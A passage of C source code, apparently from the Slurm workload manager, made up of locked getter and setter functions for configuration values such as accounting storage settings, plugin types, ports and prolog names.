extern uint16_t slurm_get_use_spec_resources(void)
{
uint16_t use_spec_val = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
use_spec_val = conf->use_spec_resources;
slurm_conf_unlock();
}
return use_spec_val;
}
/* slurm_set_tree_width
* sets the value of tree_width in slurmctld_conf object
* RET 0 or error code
*/
extern int slurm_set_tree_width(uint16_t tree_width)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
if (tree_width == 0) {
error("can't have span count of 0");
return SLURM_ERROR;
}
conf->tree_width = tree_width;
slurm_conf_unlock();
}
return 0;
}
/* slurm_get_tree_width
* returns the value of tree_width in slurmctld_conf object
*/
extern uint16_t slurm_get_tree_width(void)
{
uint16_t tree_width = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
tree_width = conf->tree_width;
slurm_conf_unlock();
}
return tree_width;
}
/* slurm_get_vsize_factor
* returns the value of vsize_factor in slurmctld_conf object
*/
extern uint16_t slurm_get_vsize_factor(void)
{
uint16_t vsize_factor = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
vsize_factor = conf->vsize_factor;
slurm_conf_unlock();
}
return vsize_factor;
}
/* slurm_set_auth_type
* set the authentication type in slurmctld_conf object
* used for security testing purposes
* RET 0 or error code
*/
extern int slurm_set_auth_type(char *auth_type)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
xfree(slurmdbd_conf->auth_type);
slurmdbd_conf->auth_type = xstrdup(auth_type);
} else {
conf = slurm_conf_lock();
xfree(conf->authtype);
conf->authtype = xstrdup(auth_type);
slurm_conf_unlock();
}
return 0;
}
/* slurm_get_hash_val
* get hash val of the slurm.conf from slurmctld_conf object from
* slurmctld_conf object
* RET uint32_t - hash_val
*/
uint32_t slurm_get_hash_val(void)
{
uint32_t hash_val;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
hash_val = NO_VAL;
} else {
conf = slurm_conf_lock();
hash_val = conf->hash_val;
slurm_conf_unlock();
}
return hash_val;
}
/* slurm_get_health_check_program
* get health_check_program from slurmctld_conf object from
* slurmctld_conf object
* RET char * - health_check_program, MUST be xfreed by caller
*/
char *slurm_get_health_check_program(void)
{
char *health_check_program = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
health_check_program = xstrdup(conf->health_check_program);
slurm_conf_unlock();
}
return health_check_program;
}
/* slurm_get_gres_plugins
* get gres_plugins from slurmctld_conf object from
* slurmctld_conf object
* RET char * - gres_plugins, MUST be xfreed by caller
*/
char *slurm_get_gres_plugins(void)
{
char *gres_plugins = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
gres_plugins = xstrdup(conf->gres_plugins);
slurm_conf_unlock();
}
return gres_plugins;
}
/* slurm_get_job_submit_plugins
* get job_submit_plugins from slurmctld_conf object from
* slurmctld_conf object
* RET char * - job_submit_plugins, MUST be xfreed by caller
*/
char *slurm_get_job_submit_plugins(void)
{
char *job_submit_plugins = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
job_submit_plugins = xstrdup(conf->job_submit_plugins);
slurm_conf_unlock();
}
return job_submit_plugins;
}
/* slurm_get_slurmctld_plugstack
* get slurmctld_plugstack from slurmctld_conf object from
* slurmctld_conf object
* RET char * - slurmctld_plugstack, MUST be xfreed by caller
*/
char *slurm_get_slurmctld_plugstack(void)
{
char *slurmctld_plugstack = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
slurmctld_plugstack = xstrdup(conf->slurmctld_plugstack);
slurm_conf_unlock();
}
return slurmctld_plugstack;
}
/* slurm_get_slurmd_plugstack
* get slurmd_plugstack from slurmd_conf object from
* slurmd_conf object
* RET char * - slurmd_plugstack, MUST be xfreed by caller
*/
char *slurm_get_slurmd_plugstack(void)
{
char *slurmd_plugstack = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
slurmd_plugstack = xstrdup(conf->slurmd_plugstack);
slurm_conf_unlock();
}
return slurmd_plugstack;
}
/* slurm_get_accounting_storage_type
* returns the accounting storage type from slurmctld_conf object
* RET char * - accounting storage type, MUST be xfreed by caller
*/
char *slurm_get_accounting_storage_type(void)
{
char *accounting_type;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
accounting_type = xstrdup(slurmdbd_conf->storage_type);
} else {
conf = slurm_conf_lock();
accounting_type = xstrdup(conf->accounting_storage_type);
slurm_conf_unlock();
}
return accounting_type;
}
/* slurm_get_accounting_storage_tres
* returns the accounting storage tres from slurmctld_conf object
* RET char * - accounting storage tres, MUST be xfreed by caller
*/
char *slurm_get_accounting_storage_tres(void)
{
char *accounting_tres;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
accounting_tres = NULL;
} else {
conf = slurm_conf_lock();
accounting_tres = xstrdup(conf->accounting_storage_tres);
slurm_conf_unlock();
}
return accounting_tres;
}
/* slurm_get_accounting_storage_user
* returns the storage user from slurmctld_conf object
* RET char * - storage user, MUST be xfreed by caller
*/
char *slurm_get_accounting_storage_user(void)
{
char *storage_user;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
storage_user = xstrdup(slurmdbd_conf->storage_user);
} else {
conf = slurm_conf_lock();
storage_user = xstrdup(conf->accounting_storage_user);
slurm_conf_unlock();
}
return storage_user;
}
/* slurm_set_accounting_storage_user
* IN: char *user (name of file or database)
* RET 0 or error code
*/
int slurm_set_accounting_storage_user(char *user)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
xfree(slurmdbd_conf->storage_user);
slurmdbd_conf->storage_user = xstrdup(user);
} else {
conf = slurm_conf_lock();
xfree(conf->accounting_storage_user);
conf->accounting_storage_user = xstrdup(user);
slurm_conf_unlock();
}
return 0;
}
/* slurm_get_accounting_storage_backup_host
* returns the storage backup host from slurmctld_conf object
* RET char * - storage backup host, MUST be xfreed by caller
*/
char *slurm_get_accounting_storage_backup_host(void)
{
char *storage_host;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
storage_host = xstrdup(slurmdbd_conf->storage_backup_host);
} else {
conf = slurm_conf_lock();
storage_host = xstrdup(conf->accounting_storage_backup_host);
slurm_conf_unlock();
}
return storage_host;
}
/* slurm_get_accounting_storage_host
* returns the storage host from slurmctld_conf object
* RET char * - storage host, MUST be xfreed by caller
*/
char *slurm_get_accounting_storage_host(void)
{
char *storage_host;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
storage_host = xstrdup(slurmdbd_conf->storage_host);
} else {
conf = slurm_conf_lock();
storage_host = xstrdup(conf->accounting_storage_host);
slurm_conf_unlock();
}
return storage_host;
}
/* slurm_set_accounting_storage_host
* IN: char *host (name of file or database)
* RET 0 or error code
*/
int slurm_set_accounting_storage_host(char *host)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
xfree(slurmdbd_conf->storage_host);
slurmdbd_conf->storage_host = xstrdup(host);
} else {
conf = slurm_conf_lock();
xfree(conf->accounting_storage_host);
conf->accounting_storage_host = xstrdup(host);
slurm_conf_unlock();
}
return 0;
}
/* slurm_get_accounting_storage_loc
* returns the storage location from slurmctld_conf object
* RET char * - storage location, MUST be xfreed by caller
*/
char *slurm_get_accounting_storage_loc(void)
{
char *storage_loc;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
storage_loc = xstrdup(slurmdbd_conf->storage_loc);
} else {
conf = slurm_conf_lock();
storage_loc = xstrdup(conf->accounting_storage_loc);
slurm_conf_unlock();
}
return storage_loc;
}
/* slurm_set_accounting_storage_loc
* IN: char *loc (name of file or database)
* RET 0 or error code
*/
int slurm_set_accounting_storage_loc(char *loc)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
xfree(slurmdbd_conf->storage_loc);
slurmdbd_conf->storage_loc = xstrdup(loc);
} else {
conf = slurm_conf_lock();
xfree(conf->accounting_storage_loc);
conf->accounting_storage_loc = xstrdup(loc);
slurm_conf_unlock();
}
return 0;
}
/* slurm_get_accounting_storage_enforce
* returns what level to enforce associations at
*/
uint16_t slurm_get_accounting_storage_enforce(void)
{
uint16_t enforce = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
enforce = conf->accounting_storage_enforce;
slurm_conf_unlock();
}
return enforce;
}
/* slurm_get_is_association_based_accounting
* returns if we are doing accounting by associations
*/
int slurm_get_is_association_based_accounting(void)
{
int enforce = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
return 1;
} else {
conf = slurm_conf_lock();
if (!strcasecmp(conf->accounting_storage_type,
"accounting_storage/slurmdbd") ||
!strcasecmp(conf->accounting_storage_type,
"accounting_storage/mysql"))
enforce = 1;
slurm_conf_unlock();
}
return enforce;
}
/* slurm_get_accounting_storage_pass
* returns the storage password from slurmctld_conf object
* RET char * - storage password, MUST be xfreed by caller
*/
char *slurm_get_accounting_storage_pass(void)
{
char *storage_pass;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
storage_pass = xstrdup(slurmdbd_conf->storage_pass);
} else {
conf = slurm_conf_lock();
storage_pass = xstrdup(conf->accounting_storage_pass);
slurm_conf_unlock();
}
return storage_pass;
}
/* slurm_get_auth_info
* returns the auth_info from slurmctld_conf object (AuthInfo parameter)
* cache value in local buffer for best performance
* WARNING: The return of this function can be used in many different
* places and SHOULD NOT BE FREED!
*/
extern char *slurm_get_auth_info(void)
{
char *auth_info;
slurm_ctl_conf_t *conf;
conf = slurm_conf_lock();
auth_info = xstrdup(conf->authinfo);
slurm_conf_unlock();
return auth_info;
}
/* slurm_get_auth_ttl
* returns the credential Time To Live option from the AuthInfo parameter
* cache value in local buffer for best performance
* RET int - Time To Live in seconds or 0 if not specified
*/
extern int slurm_get_auth_ttl(void)
{
static int ttl = -1;
char *auth_info, *tmp;
if (ttl >= 0)
return ttl;
auth_info = slurm_get_auth_info();
if (!auth_info)
return 0;
tmp = strstr(auth_info, "ttl=");
if (tmp) {
ttl = atoi(tmp + 4);
if (ttl < 0)
ttl = 0;
} else {
ttl = 0;
}
xfree(auth_info);
return ttl;
}
/* _global_auth_key
* returns the storage password from slurmctld_conf or slurmdbd_conf object
* cache value in local buffer for best performance
* RET char * - storage password
*/
static char *_global_auth_key(void)
{
static bool loaded_storage_pass = false;
static char storage_pass[512] = "\0";
static char *storage_pass_ptr = NULL;
slurm_ctl_conf_t *conf;
if (loaded_storage_pass)
return storage_pass_ptr;
if (slurmdbd_conf) {
if (slurmdbd_conf->auth_info) {
if (strlen(slurmdbd_conf->auth_info) >
sizeof(storage_pass))
fatal("AuthInfo is too long");
strncpy(storage_pass, slurmdbd_conf->auth_info,
sizeof(storage_pass));
storage_pass_ptr = storage_pass;
}
} else {
conf = slurm_conf_lock();
if (conf->accounting_storage_pass) {
if (strlen(conf->accounting_storage_pass) >
sizeof(storage_pass))
fatal("AccountingStoragePass is too long");
strncpy(storage_pass, conf->accounting_storage_pass,
sizeof(storage_pass));
storage_pass_ptr = storage_pass;
}
slurm_conf_unlock();
}
loaded_storage_pass = true;
return storage_pass_ptr;
}
/* slurm_get_accounting_storage_port
* returns the storage port from slurmctld_conf object
* RET uint32_t - storage port
*/
uint32_t slurm_get_accounting_storage_port(void)
{
uint32_t storage_port;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
storage_port = slurmdbd_conf->storage_port;
} else {
conf = slurm_conf_lock();
storage_port = conf->accounting_storage_port;
slurm_conf_unlock();
}
return storage_port;
}
/* slurm_set_accounting_storage_port
* sets the storage port in slurmctld_conf object
* RET 0 or error code
*/
int slurm_set_accounting_storage_port(uint32_t storage_port)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
slurmdbd_conf->storage_port = storage_port;
} else {
conf = slurm_conf_lock();
if (storage_port == 0) {
error("can't have storage port of 0");
return SLURM_ERROR;
}
conf->accounting_storage_port = storage_port;
slurm_conf_unlock();
}
return 0;
}
/* slurm_get_preempt_mode
* returns the PreemptMode value from slurmctld_conf object
* RET uint16_t - PreemptMode value (See PREEMPT_MODE_* in slurm.h)
*/
uint16_t slurm_get_preempt_mode(void)
{
uint16_t preempt_mode = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
preempt_mode = conf->preempt_mode;
slurm_conf_unlock();
}
return preempt_mode;
}
/* slurm_get_jobacct_gather_type
* returns the job accounting type from the slurmctld_conf object
* RET char * - job accounting type, MUST be xfreed by caller
*/
char *slurm_get_jobacct_gather_type(void)
{
char *jobacct_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
jobacct_type = xstrdup(conf->job_acct_gather_type);
slurm_conf_unlock();
}
return jobacct_type;
}
/* slurm_get_jobacct_gather_params
* returns the job accounting params from the slurmctld_conf object
* RET char * - job accounting params, MUST be xfreed by caller
*/
char *slurm_get_jobacct_gather_params(void)
{
char *jobacct_params = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
jobacct_params = xstrdup(conf->job_acct_gather_params);
slurm_conf_unlock();
}
return jobacct_params;
}
/* slurm_get_jobacct_freq
* returns the job accounting poll frequency from the slurmctld_conf object
* RET int - job accounting frequency
*/
char *slurm_get_jobacct_gather_freq(void)
{
char *freq = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
freq = xstrdup(conf->job_acct_gather_freq);
slurm_conf_unlock();
}
return freq;
}
/* slurm_get_energy_accounting_type
* get EnergyAccountingType from slurmctld_conf object
* RET char * - energy_accounting type, MUST be xfreed by caller
*/
char *slurm_get_acct_gather_energy_type(void)
{
char *acct_gather_energy_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
acct_gather_energy_type =
xstrdup(conf->acct_gather_energy_type);
slurm_conf_unlock();
}
return acct_gather_energy_type;
}
/* slurm_get_profile_accounting_type
* get ProfileAccountingType from slurmctld_conf object
* RET char * - profile_accounting type, MUST be xfreed by caller
*/
char *slurm_get_acct_gather_profile_type(void)
{
char *acct_gather_profile_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
acct_gather_profile_type =
xstrdup(conf->acct_gather_profile_type);
slurm_conf_unlock();
}
return acct_gather_profile_type;
}
/* slurm_get_infiniband_accounting_type
* get InfinibandAccountingType from slurmctld_conf object
* RET char * - infiniband_accounting type, MUST be xfreed by caller
*/
char *slurm_get_acct_gather_infiniband_type(void)
{
char *acct_gather_infiniband_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
acct_gather_infiniband_type =
xstrdup(conf->acct_gather_infiniband_type);
slurm_conf_unlock();
}
return acct_gather_infiniband_type;
}
/* slurm_get_filesystem_accounting_type
* get FilesystemAccountingType from slurmctld_conf object
* RET char * - filesystem_accounting type, MUST be xfreed by caller
*/
char *slurm_get_acct_gather_filesystem_type(void)
{
char *acct_gather_filesystem_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
acct_gather_filesystem_type =
xstrdup(conf->acct_gather_filesystem_type);
slurm_conf_unlock();
}
return acct_gather_filesystem_type;
}
extern uint16_t slurm_get_acct_gather_node_freq(void)
{
uint16_t freq = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
freq = conf->acct_gather_node_freq;
slurm_conf_unlock();
}
return freq;
}
/* slurm_get_ext_sensors_type
* get ExtSensorsType from slurmctld_conf object
* RET char * - ext_sensors type, MUST be xfreed by caller
*/
char *slurm_get_ext_sensors_type(void)
{
char *ext_sensors_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
ext_sensors_type =
xstrdup(conf->ext_sensors_type);
slurm_conf_unlock();
}
return ext_sensors_type;
}
extern uint16_t slurm_get_ext_sensors_freq(void)
{
uint16_t freq = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
freq = conf->ext_sensors_freq;
slurm_conf_unlock();
}
return freq;
}
/* slurm_get_jobcomp_type
* returns the job completion logger type from slurmctld_conf object
* RET char * - job completion type, MUST be xfreed by caller
*/
char *slurm_get_jobcomp_type(void)
{
char *jobcomp_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
jobcomp_type = xstrdup(conf->job_comp_type);
slurm_conf_unlock();
}
return jobcomp_type;
}
/* slurm_get_jobcomp_loc
* returns the job completion loc from slurmctld_conf object
* RET char * - job completion location, MUST be xfreed by caller
*/
char *slurm_get_jobcomp_loc(void)
{
char *jobcomp_loc = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
jobcomp_loc = xstrdup(conf->job_comp_loc);
slurm_conf_unlock();
}
return jobcomp_loc;
}
/* slurm_get_jobcomp_user
* returns the storage user from slurmctld_conf object
* RET char * - storage user, MUST be xfreed by caller
*/
char *slurm_get_jobcomp_user(void)
{
char *storage_user = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
storage_user = xstrdup(conf->job_comp_user);
slurm_conf_unlock();
}
return storage_user;
}
/* slurm_get_jobcomp_host
* returns the storage host from slurmctld_conf object
* RET char * - storage host, MUST be xfreed by caller
*/
char *slurm_get_jobcomp_host(void)
{
char *storage_host = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
storage_host = xstrdup(conf->job_comp_host);
slurm_conf_unlock();
}
return storage_host;
}
/* slurm_get_jobcomp_pass
* returns the storage password from slurmctld_conf object
* RET char * - storage password, MUST be xfreed by caller
*/
char *slurm_get_jobcomp_pass(void)
{
char *storage_pass = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
storage_pass = xstrdup(conf->job_comp_pass);
slurm_conf_unlock();
}
return storage_pass;
}
/* slurm_get_jobcomp_port
* returns the storage port from slurmctld_conf object
* RET uint32_t - storage port
*/
uint32_t slurm_get_jobcomp_port(void)
{
uint32_t storage_port = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
storage_port = conf->job_comp_port;
slurm_conf_unlock();
}
return storage_port;
}
/* slurm_set_jobcomp_port
* sets the jobcomp port in slurmctld_conf object
* RET 0 or error code
*/
int slurm_set_jobcomp_port(uint32_t port)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
if (port == 0) {
error("can't have jobcomp port of 0");
return SLURM_ERROR;
}
conf->job_comp_port = port;
slurm_conf_unlock();
}
return 0;
}
/* slurm_get_keep_alive_time
* returns keep_alive_time slurmctld_conf object
* RET uint16_t - keep_alive_time
*/
uint16_t slurm_get_keep_alive_time(void)
{
uint16_t keep_alive_time = (uint16_t) NO_VAL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
keep_alive_time = conf->keep_alive_time;
slurm_conf_unlock();
}
return keep_alive_time;
}
/* slurm_get_kill_wait
* returns kill_wait from slurmctld_conf object
* RET uint16_t - kill_wait
*/
uint16_t slurm_get_kill_wait(void)
{
uint16_t kill_wait = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
kill_wait = conf->kill_wait;
slurm_conf_unlock();
}
return kill_wait;
}
/* slurm_get_launch_params
* get launch_params from slurmctld_conf object
* RET char * - launch_params, MUST be xfreed by caller
*/
char *slurm_get_launch_params(void)
{
char *launch_params = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
launch_params = xstrdup(conf->launch_params);
slurm_conf_unlock();
}
return launch_params;
}
/* slurm_get_launch_type
* get launch_type from slurmctld_conf object
* RET char * - launch_type, MUST be xfreed by caller
*/
char *slurm_get_launch_type(void)
{
char *launch_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
launch_type = xstrdup(conf->launch_type);
slurm_conf_unlock();
}
return launch_type;
}
/* slurm_set_launch_type
* set launch_type in slurmctld_conf object
* RET 0 or error code
*/
int slurm_set_launch_type(char *launch_type)
{
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
xfree(conf->launch_type);
conf->launch_type = xstrdup(launch_type);
slurm_conf_unlock();
}
return 0;
}
/* slurm_get_preempt_type
* get PreemptType from slurmctld_conf object
* RET char * - preempt type, MUST be xfreed by caller
*/
char *slurm_get_preempt_type(void)
{
char *preempt_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
preempt_type = xstrdup(conf->preempt_type);
slurm_conf_unlock();
}
return preempt_type;
}
/* slurm_get_proctrack_type
* get ProctrackType from slurmctld_conf object
* RET char * - proctrack type, MUST be xfreed by caller
*/
char *slurm_get_proctrack_type(void)
{
char *proctrack_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
proctrack_type = xstrdup(conf->proctrack_type);
slurm_conf_unlock();
}
return proctrack_type;
}
/* slurm_get_slurmd_port
* returns slurmd port from slurmctld_conf object
* RET uint16_t - slurmd port
*/
uint16_t slurm_get_slurmd_port(void)
{
uint16_t slurmd_port = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
slurmd_port = conf->slurmd_port;
slurm_conf_unlock();
}
return slurmd_port;
}
/* slurm_get_slurm_user_id
* returns slurm uid from slurmctld_conf object
* RET uint32_t - slurm user id
*/
uint32_t slurm_get_slurm_user_id(void)
{
uint32_t slurm_uid = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
slurm_uid = slurmdbd_conf->slurm_user_id;
} else {
conf = slurm_conf_lock();
slurm_uid = conf->slurm_user_id;
slurm_conf_unlock();
}
return slurm_uid;
}
/* slurm_get_slurmd_user_id
* returns slurmd uid from slurmctld_conf object
* RET uint32_t - slurmd user id
*/
uint32_t slurm_get_slurmd_user_id(void)
{
uint32_t slurmd_uid = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
slurmd_uid = conf->slurmd_user_id;
slurm_conf_unlock();
}
return slurmd_uid;
}
/* slurm_get_root_filter
* RET uint16_t - Value of SchedulerRootFilter */
extern uint16_t slurm_get_root_filter(void)
{
uint16_t root_filter = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
root_filter = conf->schedrootfltr;
slurm_conf_unlock();
}
return root_filter;
}
/* slurm_get_sched_params
* RET char * - Value of SchedulerParameters, MUST be xfreed by caller */
extern char *slurm_get_sched_params(void)
{
char *params = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
params = xstrdup(conf->sched_params);
slurm_conf_unlock();
}
return params;
}
/* slurm_get_sched_port
* RET uint16_t - Value of SchedulerPort */
extern uint16_t slurm_get_sched_port(void)
{
uint16_t port = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
port = conf->schedport;
slurm_conf_unlock();
}
return port;
}
/* slurm_get_sched_type
* get sched type from slurmctld_conf object
* RET char * - sched type, MUST be xfreed by caller
*/
char *slurm_get_sched_type(void)
{
char *sched_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
sched_type = xstrdup(conf->schedtype);
slurm_conf_unlock();
}
return sched_type;
}
/* slurm_get_select_type
* get select_type from slurmctld_conf object
* RET char * - select_type, MUST be xfreed by caller
*/
char *slurm_get_select_type(void)
{
char *select_type = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
select_type = xstrdup(conf->select_type);
slurm_conf_unlock();
}
return select_type;
}
/* slurm_get_select_type_param
* get select_type_param from slurmctld_conf object
* RET uint16_t - select_type_param
*/
uint16_t slurm_get_select_type_param(void)
{
uint16_t select_type_param = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
select_type_param = conf->select_type_param;
slurm_conf_unlock();
}
return select_type_param;
}
/** Return true if (remote) system runs Cray XT/XE */
bool is_cray_select_type(void)
{
bool result = false;
if (slurmdbd_conf) {
} else {
slurm_ctl_conf_t *conf = slurm_conf_lock();
result = strcasecmp(conf->select_type, "select/cray") == 0;
slurm_conf_unlock();
}
return result;
}
/* slurm_get_switch_type
* get switch type from slurmctld_conf object
* RET char * - switch type, MUST be xfreed by caller
*/
char *slurm_get_switch_type(void)
{
char *switch_type = NULL;
slurm_ctl_conf_t *conf;
conf = slurm_conf_lock();
switch_type = xstrdup(conf->switch_type);
slurm_conf_unlock();
return switch_type;
}
/* slurm_get_wait_time
* returns wait_time from slurmctld_conf object
* RET uint16_t - wait_time
*/
uint16_t slurm_get_wait_time(void)
{
uint16_t wait_time = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
wait_time = conf->wait_time;
slurm_conf_unlock();
}
return wait_time;
}
/* slurm_get_srun_prolog
* return the name of the srun prolog program
* RET char * - name of prolog program, must be xfreed by caller
*/
char *slurm_get_srun_prolog(void)
{
char *prolog = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
prolog = xstrdup(conf->srun_prolog);
slurm_conf_unlock();
}
return prolog;
}
/* slurm_get_srun_epilog
* return the name of the srun epilog program
* RET char * - name of epilog program, must be xfreed by caller
*/
char *slurm_get_srun_epilog(void)
{
char *epilog = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
epilog = xstrdup(conf->srun_epilog);
slurm_conf_unlock();
}
return epilog;
}
/* slurm_get_task_epilog
* RET task_epilog name, must be xfreed by caller */
char *slurm_get_task_epilog(void)
{
char *task_epilog = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
task_epilog = xstrdup(conf->task_epilog);
slurm_conf_unlock();
}
return task_epilog;
}
/* slurm_get_task_prolog
* RET task_prolog name, must be xfreed by caller */
char *slurm_get_task_prolog(void)
{
char *task_prolog = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
task_prolog = xstrdup(conf->task_prolog);
slurm_conf_unlock();
}
return task_prolog;
}
/* slurm_get_srun_port_range()
*/
uint16_t *
slurm_get_srun_port_range(void)
{
uint16_t *ports = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
ports = conf->srun_port_range;
slurm_conf_unlock();
}
return ports; /* CLANG false positive */
}
/* slurm_get_task_plugin
* RET task_plugin name, must be xfreed by caller */
char *slurm_get_task_plugin(void)
{
char *task_plugin = NULL;
slurm_ctl_conf_t *conf;
conf = slurm_conf_lock();
task_plugin = xstrdup(conf->task_plugin);
slurm_conf_unlock();
return task_plugin;
}
/* slurm_get_task_plugin_param */
uint32_t slurm_get_task_plugin_param(void)
{
uint32_t task_plugin_param = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
task_plugin_param = conf->task_plugin_param;
slurm_conf_unlock();
}
return task_plugin_param;
}
/* Get SchedulerTimeSlice (secs) */
uint16_t slurm_get_time_slice(void)
{
uint16_t sched_time_slice = 0;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
sched_time_slice = conf->sched_time_slice;
slurm_conf_unlock();
}
return sched_time_slice;
}
/* slurm_get_core_spec_plugin
* RET core_spec plugin name, must be xfreed by caller */
char *slurm_get_core_spec_plugin(void)
{
char *core_spec_plugin = NULL;
slurm_ctl_conf_t *conf;
conf = slurm_conf_lock();
core_spec_plugin = xstrdup(conf->core_spec_plugin);
slurm_conf_unlock();
return core_spec_plugin;
}
/* slurm_get_job_container_plugin
* RET job_container plugin name, must be xfreed by caller */
char *slurm_get_job_container_plugin(void)
{
char *job_container_plugin = NULL;
slurm_ctl_conf_t *conf;
conf = slurm_conf_lock();
job_container_plugin = xstrdup(conf->job_container_plugin);
slurm_conf_unlock();
return job_container_plugin;
}
/* slurm_get_slurmd_spooldir
* RET slurmd_spooldir name, must be xfreed by caller */
char *slurm_get_slurmd_spooldir(void)
{
char *slurmd_spooldir = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
} else {
conf = slurm_conf_lock();
slurmd_spooldir = xstrdup(conf->slurmd_spooldir);
slurm_conf_unlock();
}
return slurmd_spooldir;
}
/* slurm_get_layouts
* RET comma seperated list of layouts in a string, must be xfreed by caller */
char *slurm_get_layouts(void)
{
char* layouts = NULL;
slurm_ctl_conf_t *conf;
if (slurmdbd_conf) {
layouts = xstrdup("");
} else {
conf = slurm_conf_lock();
layouts = xstrdup(conf->layouts);
slurm_conf_unlock();
}
return layouts;
}
/* slurm_get_srun_eio_timeout()
*/
int16_t
